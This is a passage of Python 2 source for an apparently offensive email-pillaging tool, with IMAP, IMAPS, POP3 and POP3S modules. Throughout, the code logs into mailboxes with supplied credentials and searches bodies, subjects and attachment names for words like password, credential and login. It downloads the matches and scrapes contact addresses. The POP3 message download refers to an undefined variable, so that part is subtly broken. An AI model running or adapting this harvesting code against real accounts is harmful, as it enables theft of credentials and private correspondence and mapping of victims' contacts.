'multipart': 116 | continue 117 | 118 | # is this part an attachment ? 119 | if part.get('Content-Disposition') is None: 120 | continue 121 | 122 | filename = part.get_filename() 123 | print "Found attachment [%s]" % (filename) 124 | 125 | valid = False 126 | if (term): 127 | for search_term in term: 128 | if re.match(search_term, filename, re.IGNORECASE): 129 | print "MATCHED ON [%s]" % (search_term) 130 | valid = True 131 | else: 132 | valid = True 133 | 134 | if valid: 135 | print "Filename [%s] MATCHED search terms for uid [%s]" % (filename, uid) 136 | if not uid in matched: 137 | matched.append(uid) 138 | return matched 139 | 140 | def downloadMessage(self, messageid=None): 141 | if (not self.srv): 142 | return 143 | 144 | if messageid: 145 | resp, data = self.srv.fetch(messageid, 146 | "(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff", 147 | # but you can ask for headers only, etc 148 | email_body = data[0][1] # getting the mail content 149 | 150 | filename = self.user + "_" + messageid 151 | file_path = os.path.join(self.config["outdir"], filename) 152 | 153 | print "Downloading message id [%s] to [%s]" % (messageid, file_path) 154 | Utils.writeFile(email_body, file_path) 155 | return None 156 | 157 | def downloadAttachment(self, messageid=None): 158 | if (not self.srv): 159 | return 160 | 161 | if messageid: 162 | resp, data = self.srv.fetch(messageid, 163 | "(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff", 164 | # but you can ask for headers only, etc 165 | email_body = data[0][1] # getting the mail content 166 | mail = email.message_from_string(email_body) # parsing the mail content to get a mail object 167 | 168 | # Check if any attachments at all 169 | if mail.get_content_maintype() != 'multipart': 170 | return 171 | 172 | # we use walk to create a generator so we can iterate on the parts and forget about the recursive headach 173 | for part in mail.walk(): 174 | # multipart are just containers, so we skip them 175 | if part.get_content_maintype() == 'multipart': 176 | continue 177 | 178 | # is this part an attachment ? 179 | if part.get('Content-Disposition') is None: 180 | continue 181 | 182 | filename = part.get_filename() 183 | 184 | if (not filename): 185 | continue 186 | 187 | file_path = os.path.join(self.config["outdir"], filename) 188 | print "Downloading attachment [%s] to [%s]" % (messageid, file_path) 189 | Utils.writeFile(part.get_payload(decode=True), file_path, "wb") 190 | return 191 | 192 | def scrapeContacts(self): 193 | if (not self.srv): 194 | return 195 | 196 | self.getUIDs() 197 | 198 | if (not self.uids): 199 | return None 200 | 201 | contacts = [] 202 | for uid in self.uids: 203 | resp, data = self.srv.fetch(uid, "(RFC822)") 204 | for response_part in data: 205 | if isinstance(response_part, tuple): 206 | msg = email.message_from_string(response_part[1]) 207 | fromaddr = msg['from'] 208 | if (fromaddr): 209 | sender = msg['from'].split()[-1] 210 | address = re.sub(r'[<>]', '', sender) 211 | # Ignore any occurences of own email address and add to list 212 | if not re.search(r'' + re.escape(self.user), address) and not address in contacts: 213 | contacts.append(address) 214 | print "IDENTIFED new contact [%s]" % (address) 215 | 216 | return contacts 217 | 218 | def getXsubjects(self, num=10): 219 | if (not self.srv): 220 | return 221 | 222 | numMessages = self.srv.select(readonly=True)[1][0] 223 | typ, data = self.getMessagesReverseOrder() 224 | maxNum = num 225 | if (numMessages < num): 226 | maxNum = numMessages 227 | 228 | i = 1 229 | for num in data[0].split(): 230 | header = self.srv.fetch(num, '(BODY[HEADER])') 231 | if (header): 232 | header_data = header[1][0][1] 233 | parser = email.parser.HeaderParser() 234 | msg = parser.parsestr(header_data) 235 | print "#%i [%s] -> [%s]" % (i, msg['from'], msg['subject']) 236 | i = i + 1 237 | if (i > maxNum): 238 | return 239 | return None 240 | 241 | def getUIDs(self): 242 | if (not self.srv): 243 | return 244 | 245 | if (not self.uids): 246 | # get uids of all messages 247 | self.srv.select(readonly=True) 248 | result, data = self.srv.search(None, 'ALL') 249 | self.uids = data[0].split() 250 | 251 | def getMessagesReverseOrder(self, search_term='ALL'): 252 | if (not self.srv): 253 | return 254 | 255 | self.srv.select(readonly=True) 256 | sort_criteria = 'REVERSE DATE' 257 | return self.srv.sort(sort_criteria, 'UTF-8', search_term) 258 | 259 | def buildSearchTerm(self, part, terms): 260 | if (not self.srv): 261 | return 262 | 263 | if (not part) or (not terms): 264 | return 265 | 266 | term_string = "" 267 | i = 0 268 | for term in terms: 269 | temp = '(%s "%s")' % (part, term) 270 | if (i > 0): 271 | term_string = '(OR %s %s)' % (term_string, temp) 272 | else: 273 | term_string = temp 274 | i = i + 1 275 | return term_string 276 | -------------------------------------------------------------------------------- /modules/imaps_pillage.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | from threading import Thread 9 | 10 | from modules.pillager import Pillager 11 | from modules.imap_pillage import IMAP 12 | 13 | # ----------------------------------------------------------------------------- 14 | # IMAPS subclass of IMAP Class 15 | # ----------------------------------------------------------------------------- 16 | class IMAPS(IMAP): 17 | def __init__(self): 18 | IMAP.__init__(self) 19 | 20 | def connect(self, config): 21 | self.config = config 22 | try: 23 | self.srv = imaplib.IMAP4_SSL(self.config["server"], self.config["serverport"]) 24 | except: 25 | self.srv = None 26 | pass 27 | -------------------------------------------------------------------------------- /modules/pillager.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | from threading import Thread 9 | 10 | # ----------------------------------------------------------------------------- 11 | # Primary Pillager Class that all others are sub classes of 12 | # This really does nothing and is just a place holder 13 | # ----------------------------------------------------------------------------- 14 | class Pillager(): 15 | def __init__(self): 16 | self.config = None 17 | self.srv = None 18 | self.servertype = None 19 | 20 | def getType(self): 21 | return self.servertype 22 | 23 | def connect(self, config): 24 | self.config = config 25 | self.srv = None 26 | 27 | def disconnect(self): 28 | return 29 | 30 | def validate(self, user, password): 31 | return False 32 | 33 | def pillage(self): 34 | if self.config["downloademails"]: 35 | print self.config["searchterms"] 36 | matched_messages = [] 37 | print "---------------Search Message Bodies [credential, account, password, login]" 38 | matched_messages.extend(self.searchMessageBodies(term=self.config["searchterms"])) 39 | print "---------------Search Message Subjects [credential, account, password, login]" 40 | matched_messages.extend(self.searchMessageSubjects(term=self.config["searchterms"])) 41 | print "---------------Download Messages" 42 | for uid in set(matched_messages): 43 | self.downloadMessage(uid) 44 | if self.config["downloadattachments"]: 45 | matched_attachments = [] 46 | print "---------------Search Message Attachments [credential, account, password, login]" 47 | matched_attachments.extend(self.searchMessageAttachments(term=self.config["searchterms"])) 48 | print "---------------Download Attachments" 49 | for uid in set(matched_attachments): 50 | self.downloadAttachment(uid) 51 | if self.config["buildcontactlist"]: 52 | print "---------------Scrape Contacts" 53 | print self.scrapeContacts() 54 | 55 | return 56 | 57 | def searchMessageBodies(self, term=None): 58 | return [] 59 | def searchMessageSubjects(self, term=None): 60 | return [] 61 | def searchMessageAttachments(self, term=None): 62 | return [] 63 | def downloadAttachment(self, uid): 64 | return 65 | def scrapeContacts(self): 66 | return 67 | -------------------------------------------------------------------------------- /modules/pop3_pillage.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | from threading import Thread 9 | 10 | from modules.pillager import Pillager 11 | from core.utils import Utils 12 | 13 | # ----------------------------------------------------------------------------- 14 | # POP3 subclass of Pillager Class 15 | # ----------------------------------------------------------------------------- 16 | class POP3(Pillager): 17 | def __init__(self): 18 | Pillager.__init__(self) 19 | self.msg_list = None 20 | 21 | def connect(self, config): 22 | self.config = config 23 | try: 24 | self.srv = poplib.POP3(self.config["server"], self.config["serverport"]) 25 | except: 26 | self.srv = None 27 | pass 28 | 29 | def disconnect(self): 30 | if (self.srv): 31 | self.srv.quit() 32 | 33 | def validate(self, user, password): 34 | if (not self.srv): 35 | return 36 | 37 | self.user = user 38 | self.password = password 39 | try: 40 | self.srv.user(self.user) 41 | self.srv.pass_(self.password) 42 | except poplib.error_proto as e: 43 | return False 44 | return True 45 | 46 | def searchMessageBodies(self, term=None): 47 | if (not self.srv): 48 | return [] 49 | 50 | if (not term): 51 | return [] 52 | 53 | self.getMessages() 54 | 55 | matched = [] 56 | i = 1 57 | for (server_msg, body, octets) in self.msg_list: 58 | body = '\n'.join(body) 59 | for search_term in term: 60 | if re.search(search_term, body, re.IGNORECASE): 61 | print "MATCHED ON [%s]" % (search_term) 62 | if not i in matched: 63 | matched.append(i) 64 | i = i + 1 65 | return matched 66 | 67 | def searchMessageSubjects(self, term=None): 68 | if (not self.srv): 69 | return [] 70 | 71 | if (not term): 72 | return [] 73 | 74 | self.getMessages() 75 | 76 | matched = [] 77 | i = 1 78 | for (server_msg, body, octets) in self.msg_list: 79 | msg = email.message_from_string('\n'.join(body)) 80 | for search_term in term: 81 | if re.search(search_term, msg['subject'], re.IGNORECASE): 82 | print "MATCHED ON [%s]" % (search_term) 83 | if not i in matched: 84 | matched.append(i) 85 | i = i + 1 86 | return matched 87 | 88 | def searchMessageAttachments(self, term=None): 89 | if (not self.srv): 90 | return [] 91 | 92 | if (not term): 93 | return [] 94 | 95 | self.getMessages() 96 | 97 | matched = [] 98 | i = 1 99 | for (server_msg, body, octets) in self.msg_list: 100 | msg = email.message_from_string('\n'.join(body)) 101 | 102 | # save attach 103 | for part in msg.walk(): 104 | if part.get_content_maintype() == 'multipart': 105 | continue 106 | 107 | if part.get('Content-Disposition') is None: 108 | continue 109 | 110 | filename = part.get_filename() 111 | 112 | if not (filename): 113 | continue 114 | 115 | for search_term in term: 116 | if re.search(search_term, filename, re.IGNORECASE): 117 | print "MATCHED ON [%s]" % (search_term) 118 | if not i in matched: 119 | matched.append(i) 120 | i = i + 1 121 | return matched 122 | 123 | def downloadMessage(self, messageid=None): 124 | if (not self.srv): 125 | return 126 | 127 | if messageid: 128 | (server_msg, body, octets) = self.srv.retr(messageid) 129 | 130 | filename = self.user + "_" + str(messageid) 131 | file_path = os.path.join(self.config["outdir"], filename) 132 | 133 | print "Downloading message id [%s] to [%s]" % (messageid, file_path) 134 | Utils.writeFile(email_body, file_path) 135 | return None 136 | 137 | def downloadAttachment(self, messageid=None): 138 | if (not self.srv): 139 | return 140 | 141 | if (not messageid): 142 | return 143 | 144 | (server_msg, body, octets) = self.srv.retr(messageid) 145 | 146 | msg = email.message_from_string('\n'.join(body)) 147 | 148 | # save attach 149 | for part in msg.walk(): 150 | if part.get_content_maintype() == 'multipart': 151 | continue 152 | 153 | if part.get('Content-Disposition') is None: 154 | continue 155 | 156 | filename = part.get_filename() 157 | 158 | if not (filename): 159 | continue 160 | 161 | file_path = os.path.join(self.config["outdir"], filename) 162 | print "Downloading attachment [%s] to [%s]" % (messageid, file_path) 163 | Utils.writeFile(part.get_payload(decode=True), file_path, "wb") 164 | return None 165 | 166 | def scrapeContacts(self): 167 | if (not self.srv): 168 | return 169 | 170 | self.getMessages() 171 | 172 | contacts = [] 173 | for (server_msg, body, octets) in self.msg_list: 174 | mail = email.message_from_string('\n'.join(body)) 175 | for part in mail.walk(): 176 | fromaddr = part['from'] 177 | if (fromaddr): 178 | sender = part['from'].split()[-1] 179 | address = re.sub(r'[<>]', '', sender) 180 | # Ignore any occurences of own email address and add to list 181 | if not re.search(r'' + re.escape(self.user), address) and not address in contacts: 182 | contacts.append(address) 183 | print "IDENTIFED new contact [%s]" % (address) 184 | 185 | return contacts 186 | 187 | def getXsubjects(self, num=10): 188 | if (not self.srv): 189 | return 190 | 191 | self.getMessages() 192 | 193 | for (server_msg, body, octets) in self.msg_list: 194 | msg2 = email.message_from_string('\n'.join(body)) 195 | print "[%s] -> [%s]" % (msg2['from'], msg2['subject']) 196 | 197 | def getMessages(self): 198 | if (not self.srv): 199 | return 200 | 201 | if (not self.msg_list): 202 | (numMsgs, totalSize) = self.srv.stat() 203 | self.msg_list = [] 204 | for i in range(numMsgs): 205 | self.msg_list.append(self.srv.retr(i + 1)) 206 | -------------------------------------------------------------------------------- /modules/pop3s_pillage.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import email.parser 3 | import imaplib 4 | import os 5 | import poplib 6 | import re 7 | import ssl 8 | from threading import Thread 9 | 10 | from modules.pillager import Pillager 11 | from modules.pop3_pillage import POP3 12 | 13 | # ----------------------------------------------------------------------------- 14 | # POP3S subclass of POP3 Class 15 | # ----------------------------------------------------------------------------- 16 | class POP3S(POP3): 17 | def __init__(self): 18 | POP3.__init__(self) 19 | 20 | def connect(self, config): 21 | self.config = config 22 | try: 23 | self.srv = poplib.POP3_SSL(self.config["server"], self.config["serverport"]) 24 | except: 25 | self.srv = None 26 | pass 27 | --------------------------------------------------------------------------------